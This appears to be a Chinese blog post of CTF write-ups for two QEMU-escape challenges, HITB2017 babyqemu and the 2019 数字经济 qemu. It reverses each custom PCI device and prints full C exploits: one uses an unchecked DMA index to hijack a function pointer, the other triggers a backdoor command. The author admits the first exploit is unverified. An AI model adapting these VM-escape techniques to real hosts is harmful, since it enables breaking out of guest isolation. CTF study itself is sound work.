当前位置: 首页 > news >正文

【qemu逃逸】HITB2017-babyqemu 2019数字经济-qemu

前言

由于本地环境问题,babyqemu 环境都没有起起,这里仅仅做记录,exp 可能不正确。

HITB2017-babyqemu 

设备逆向

设备定位啥的就不说了,先看下实例结构体:

其中 dma_state 结构体如下:

这里看字段猜测跟 dma 相关,然后只注册了 mmio,所以直接看 mmio_read/mmio_write 吧。

这里为了方便,我把函数的功能直接写出来了

hitb_mmio_read 就是去读取实例结构体中的字段。hitb_mmio_write 主要就是设置 dma 中的相关字段。

然后最重要的就是那个时钟任务了,该时钟任务会在 hitb_mmio_write 函数中被触l

漏洞就在该时钟任务中: 

可以看到在对物理内存进行读写时并没有检查 dma.cnt 的大小,并且也没有检查读取下标的范围。但是对于 dma.cnt 大小没有检查对攻击者而言是没有的,因为其对应的是用户的 buf。

 漏洞利用

由于没有对 idx 进行检查,所以我们可以越界读取 enc 函数指针,然后以此计算出 system@plt 的地址。然后利用越界写修改 enc 函数指针为 system@plt 地址,并在 dma_buf 开头写上 cmd。这样当触发 enc(dma_buf) 时就可以执行任意命令。

即:

exp 如下:由于环境,exp 没有经过验证

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>void *mmio_base;
void mmio_init()
{int fd = open("resource0_path", O_RDWR);if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
}void mmio_write(uint32_t addr, uint32_t val)
{*(uint32_t*)(mmio_base + addr) = val;
}uint64_t gva_to_gpa(void *addr)
{uint64_t page;int fd = open("/proc/self/pagemap", O_RDONLY);if (fd < 0) puts("[X] open pagemap"), exit(EXIT_FAILURE);lseek(fd, (((uint64_t)addr >> 12) << 3), 0);read(fd, &page, 8);if (!(page & (1ULL << 63))) puts("[X] page not present"), exit(EXIT_FAILURE);return ((page & ((1ULL << 55 )- 1)) << 12) | ((uint64_t)addr & (4095));
}void arb_read(uint64_t dst, uint32_t src, uint32_t len)
{uint64_t gpa = gva_to_gpa(dst);mmio_write(0x88, gpa);mmio_write(0x80, src+0x40000);mmio_write(0x90, len);mmio_write(0x98, 1|2);sleep(1);
}uint64_t arb_write(uint32_t dst, uint64_t src, uint32_t len)
{uint64_t gpa = gva_to_gpa(src);mmio_write(0x88, dst+0x40000);mmio_write(0x80, gpa);mmio_write(0x90, len);mmio_write(0x98, 1);sleep(1);
}void triger(uint32_t src, uint32_t len)
{mmio_write(0x88, 0);mmio_write(0x80, src+0x40000);mmio_write(0x90, len);mmio_write(0x98, 1|2|4);sleep(1);
}int main(int argc, char** argv, char** envp)
{mmio_init();uint64_t enc_addr = 0;arb_read(&enc_addr, 0x1000, 8);printf("[+] enc_addr => %#p\n", enc_addr);uint64_t offset = 0; // enc - system offsetuint64_t system_addr = enc_addr + offset;printf("[+] system_addr => %#p\n", system_addr);char * cmd = "xcalc";arb_write(0x100, cmd, strlen(cmd));arb_write(0x1000, &system_addr, 8);triger(0x100, 0);return 0;
}

2019数字经济-qemu

用户名:root(无密码)

该题没有符号,这题其实非常简单,有直接的后门。所以重在对题目的分析上面。

这题没有符号,但是挺简单的,白给的后门。

mmio_read 里面存在后门:

但是这里有一个 check:

而在 mmio_write 函数中就可以设置 checked 数组的值从而绕过 check,并且还可以设置 command 的值:


 

exp 如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>void * mmio_base;
void mmio_init()
{int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x1000000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);if (mlock(mmio_base, 0x1000000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
}void mmio_write(uint64_t opt, uint64_t idx, uint64_t val)
{uint64_t addr = 0;if (opt == 6)addr = (opt << 20) | idx;elseaddr = (opt << 20) | (idx << 16);printf("%#llx\n", addr);*(uint64_t*)(mmio_base + addr) = val;
}int main(int argc, char** argv, char** envp)
{// "wwssadadBABA"mmio_init();mmio_write(0, 0, 0);mmio_write(0, 1, 0);mmio_write(1, 2, 0);mmio_write(1, 3, 0);mmio_write(2, 4, 0);mmio_write(3, 5, 0);mmio_write(2, 6, 0);mmio_write(3, 7, 0);mmio_write(5, 8, 0);mmio_write(4, 9, 0);mmio_write(5, 10, 0);mmio_write(4, 11, 0);char cmd[0x8] = "xcalc;";mmio_write(6, 0, *(uint64_t*)&cmd[0]);return *(int*)mmio_base;
}
xi

效果如下:

相关文章:

【qemu逃逸】HITB2017-babyqemu 2019数字经济-qemu

前言 由于本地环境问题&#xff0c;babyqemu 环境都没有起起&#xff0c;这里仅仅做记录&#xff0c;exp 可能不正确。 HITB2017-babyqemu 设备逆向 设备定位啥的就不说了&#xff0c;先看下实例结构体&#xff1a; 其中 dma_state 结构体如下&#xff1a; 这里看字段猜测…...

Docker Compose学习笔记

Docker Compose用来做什么&#xff1f; Docker Compose 是Docker官方的开源项目。 Compose is a tool for defining and running multi-container Docker applications. With Compose, you use a YAML file to configure your application’s services. Then, with a single …...

基于树 二叉树的回溯搜索算法(DPLL)

1&#xff09;全称&#xff1a;Davis-Putnam-Logemann-Loveland 2&#xff09;思想&#xff1a;基于树/二叉树的回溯搜索算法&#xff0c;主要基于两种策略。 单子句规则&#xff1a;如果一个CNF范式中存在单子句L&#xff08;含有一个文字的子句&#xff09;&#xff0c;取L为…...

【嵌入式】适用于ESP32/ESP8266远程自动烧录工具

文章目录 介绍开始使用下载项目开启服务端开始远程烧录 后记 介绍 esp_remote_flash_tool 是一款基于 esptool.py 的远程自动烧录工具&#xff0c;支持 ESP32 和 ESP8266。 使用场景 基于 ESP-IDF 、ESP8266 NONO SDK、ESP8266 RTOS SDK 进行开发的项目项目代码存储在 Linux…...

服务器遭受攻击如何处理(记录排查)

本文的重点是介绍如何鉴别安全事件以及保护现场的方法&#xff0c;以确保服务器负责人能够在第一时间对安全攻击做出反应&#xff0c;并在最短时间内抵御攻击或减少攻击所带来的影响。 在服务器遭遇疑似安全事件时&#xff0c;通常可以从账号、进程、网络和日志四个主要方面进…...

分享81个工作总结PPT,总有一款适合您

分享81个工作总结PPT&#xff0c;总有一款适合您 PPT下载链接&#xff1a;https://pan.baidu.com/s/13hyrlZo2GhRoQjI-6z31-w?pwd8888 提取码&#xff1a;8888 Python采集代码下载链接&#xff1a;采集代码.zip - 蓝奏云 学习知识费力气&#xff0c;收集整理更不易。知识付…...

什么是DITA?从百度的回答说起

▲ 搜索“大龙谈智能内容”关注GongZongHao▲ 什么是DITA? 把这个问题输入百度&#xff0c;获得以下回答&#xff1a; DITA 是“Darwin Information Typing Architecture”&#xff08;达尔文信息类型化体系结构&#xff09;的缩写&#xff0c;它是IBM 公司为OASIS 所支持…...

线扫相机DALSA软件开发套件有哪些

Win10和Win7系统完整SDK目录截图&#xff1a; Sapera Configuration 缓存与内存管理&#xff0c;以及通信端口配置工具&#xff0c;部分功能等效于Detection(查找相机)内的Settings。 Sapera Log Viewer 打开Log Viewer后会显示之前发生过的所有与Sapera LT软件有关的运行信息…...

Scala集合操作

1 集合简介 Scala 中拥有多种集合类型&#xff0c;主要分为可变的和不可变的集合两大类&#xff1a; 可变集合&#xff1a; 可以被修改。即可以更改&#xff0c;添加&#xff0c;删除集合中的元素&#xff1b; 不可变集合类&#xff1a;不能被修改。对集合执行更改&#xff0c;…...

SQL备忘--特殊状态“未知“以及“空值NULL“的判断

一、新逻辑状态&#xff1a;未知 对于大多数其他语言的逻辑判断&#xff0c;一般只有两种结果&#xff1a;真(TURE)或假(FALSE)但在SQL中&#xff0c;还会有第三种判断结果&#xff1a;未知(UNKNOWN)&#xff0c;表示无法判断出真或者假。 未知状态会影响传统逻辑运算&#x…...

《Pytorch新手入门》第一节-认识Tensor

《Pytorch新手入门》第一节-认识Tensor 一、认识Tensor1.1 Tensor定义1.2 Tensor运算操作1.3 Tensor与numpy转换 参考《深度学习框架PyTorch&#xff1a;入门与实践_陈云(著)》 一、认识Tensor 1.1 Tensor定义 Tensor 是 PyTorch 中重要的数据结构&#xff0c;可认为是一个高…...

【JAVA学习笔记】55 - 集合-Map接口、HashMap类、HashTable类、Properties类、TreeMap类(难点)

项目代码 https://github.com/yinhai1114/Java_Learning_Code/tree/main/IDEA_Chapter14/src/com/yinhai/map_ Map接口 一、Map接口的特点&#xff08;难点&#xff09; 难点在于对Node和Entry和EntrySet的关系 注意:这里讲的是JDK8的Map接口特点 Map java 1) Map与Collect…...

Pytorch图像模型转ONNX后出现色偏问题

本篇记录一次从Pytorch图像处理模型转换成ONNX模型之后&#xff0c;在推理过程中出现了明显色偏问题的解决过程。 问题描述&#xff1a;原始pytorch模型推理正常&#xff0c;通过torch.onnx.export()函数转换成onnx之后&#xff0c;推理时出现了比较明显的颜色偏差。 原始模型…...

插值表达式 {{}}

前言 持续学习总结输出中&#xff0c;今天分享的是插值表达式 {{}} Vue插值表达式是一种Vue的模板语法&#xff0c;我们可以在模板中动态地用插值表达式渲染出Vue提供的数据绑定到视图中。插值表达式使用双大括号{{ }}将表达式包裹起来。 1.作用&#xff1a; 利用表达式进行…...

白雪公主

前言 #define 皇后 王后 在很久很久以前&#xff0c;有一个国王&#xff0c;由于王后难产致死&#xff0c;导致生下的孩子没母,由于缺爱&#xff0c;变的非常的刻薄 由于公主过于刻薄&#xff0c;以至于见到她的人都面色煞白感到空中飘雪 37C 的嘴怎能说出如此刻薄的话语。为了…...

宏观角度认识递归之合并两个有序链表

21. 合并两个有序链表 - 力扣&#xff08;LeetCode&#xff09; 依旧是利用宏观角度来看待问题&#xff0c;其中最主要的就是要找到重复的子问题&#xff1b; 题目中要求把两个有序链表进行合并&#xff0c;同时不能够创建新的节点&#xff0c;并返回链表的起始点&#xff1a;因…...

Leetcode-509 斐波那契数列

使用循环 class Solution {public int fib(int n) {if(n 0){return 0;}if(n 1){return 1;}int res 0;int pre1 1;int pre2 0;for(int i 2; i < n; i){res pre1 pre2;pre2 pre1;pre1 res;}return res;} }使用HashMap class Solution {private Map<Integer,Int…...

解密 docker 容器内 DNS 解析原理

背景 这几天在使用 docker 中&#xff0c;碰到了在容器中 DNS 解析的一些问题。故花些时间弄清了原理&#xff0c;写此文章分享。 1. docker run 命令启动的容器 以启动一个 busybox 容器为例&#xff1a; rootubuntu20:~# docker run -itd --name u1 busybox 63b59ca8aeac…...

故障诊断模型 | Maltab实现SVM支持向量机的故障诊断

效果一览 文章概述 故障诊断模型 | Maltab实现SVM支持向量机的故障诊断 模型描述 Chinese: Options:可用的选项即表示的涵义如下   -s svm类型:SVM设置类型(默认0)   0 – C-SVC   1 --v-SVC   2 – 一类SVM   3 – e -SVR   4 – v-SVR   -t 核函数类型:核函…...

开源的网站数据分析统计平台——Matomo

Matomo 文章目录 Matomo前言一、环境准备1. 整体安装流程2.安装PHP 7.3.303.nginx配置4.安装matomo4.1 访问安装页面 http://192.168.10.45:8088/index.php4.2 连接数据库4.3 设置管理员账号4.4 生成js跟踪代码4.5 安装完成4.6 警告修改4.7 刷新页面&#xff0c;就可以看到登陆…...

在软件开发中正确使用MySQL日期时间类型的深度解析

在日常软件开发场景中&#xff0c;时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志&#xff0c;到供应链系统的物流节点时间戳&#xff0c;时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库&#xff0c;其日期时间类型的…...

【位运算】消失的两个数字(hard)

消失的两个数字&#xff08;hard&#xff09; 题⽬描述&#xff1a;解法&#xff08;位运算&#xff09;&#xff1a;Java 算法代码&#xff1a;更简便代码 题⽬链接&#xff1a;⾯试题 17.19. 消失的两个数字 题⽬描述&#xff1a; 给定⼀个数组&#xff0c;包含从 1 到 N 所有…...

ESP32读取DHT11温湿度数据

芯片&#xff1a;ESP32 环境&#xff1a;Arduino 一、安装DHT11传感器库 红框的库&#xff0c;别安装错了 二、代码 注意&#xff0c;DATA口要连接在D15上 #include "DHT.h" // 包含DHT库#define DHTPIN 15 // 定义DHT11数据引脚连接到ESP32的GPIO15 #define D…...

Java-41 深入浅出 Spring - 声明式事务的支持 事务配置 XML模式 XML+注解模式

点一下关注吧&#xff01;&#xff01;&#xff01;非常感谢&#xff01;&#xff01;持续更新&#xff01;&#xff01;&#xff01; &#x1f680; AI篇持续更新中&#xff01;&#xff08;长期更新&#xff09; 目前2025年06月05日更新到&#xff1a; AI炼丹日志-28 - Aud…...

AI编程--插件对比分析:CodeRider、GitHub Copilot及其他

AI编程插件对比分析&#xff1a;CodeRider、GitHub Copilot及其他 随着人工智能技术的快速发展&#xff0c;AI编程插件已成为提升开发者生产力的重要工具。CodeRider和GitHub Copilot作为市场上的领先者&#xff0c;分别以其独特的特性和生态系统吸引了大量开发者。本文将从功…...

深度学习习题2

1.如果增加神经网络的宽度&#xff0c;精确度会增加到一个特定阈值后&#xff0c;便开始降低。造成这一现象的可能原因是什么&#xff1f; A、即使增加卷积核的数量&#xff0c;只有少部分的核会被用作预测 B、当卷积核数量增加时&#xff0c;神经网络的预测能力会降低 C、当卷…...

vulnyx Blogger writeup

信息收集 arp-scan nmap 获取userFlag 上web看看 一个默认的页面&#xff0c;gobuster扫一下目录 可以看到扫出的目录中得到了一个有价值的目录/wordpress&#xff0c;说明目标所使用的cms是wordpress&#xff0c;访问http://192.168.43.213/wordpress/然后查看源码能看到 这…...

DingDing机器人群消息推送

文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人&#xff0c;点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置&#xff0c;详见说明文档 成功后&#xff0c;记录Webhook 2 API文档说明 点击设置说明 查看自…...

为什么要创建 Vue 实例

核心原因:Vue 需要一个「控制中心」来驱动整个应用 你可以把 Vue 实例想象成你应用的**「大脑」或「引擎」。它负责协调模板、数据、逻辑和行为,将它们变成一个活的、可交互的应用**。没有这个实例,你的代码只是一堆静态的 HTML、JavaScript 变量和函数,无法「活」起来。 …...

SQL Server 触发器调用存储过程实现发送 HTTP 请求

文章目录 需求分析解决第 1 步:前置条件,启用 OLE 自动化方式 1:使用 SQL 实现启用 OLE 自动化方式 2:Sql Server 2005启动OLE自动化方式 3:Sql Server 2008启动OLE自动化第 2 步:创建存储过程第 3 步:创建触发器扩展 - 如何调试?第 1 步:登录 SQL Server 2008第 2 步…...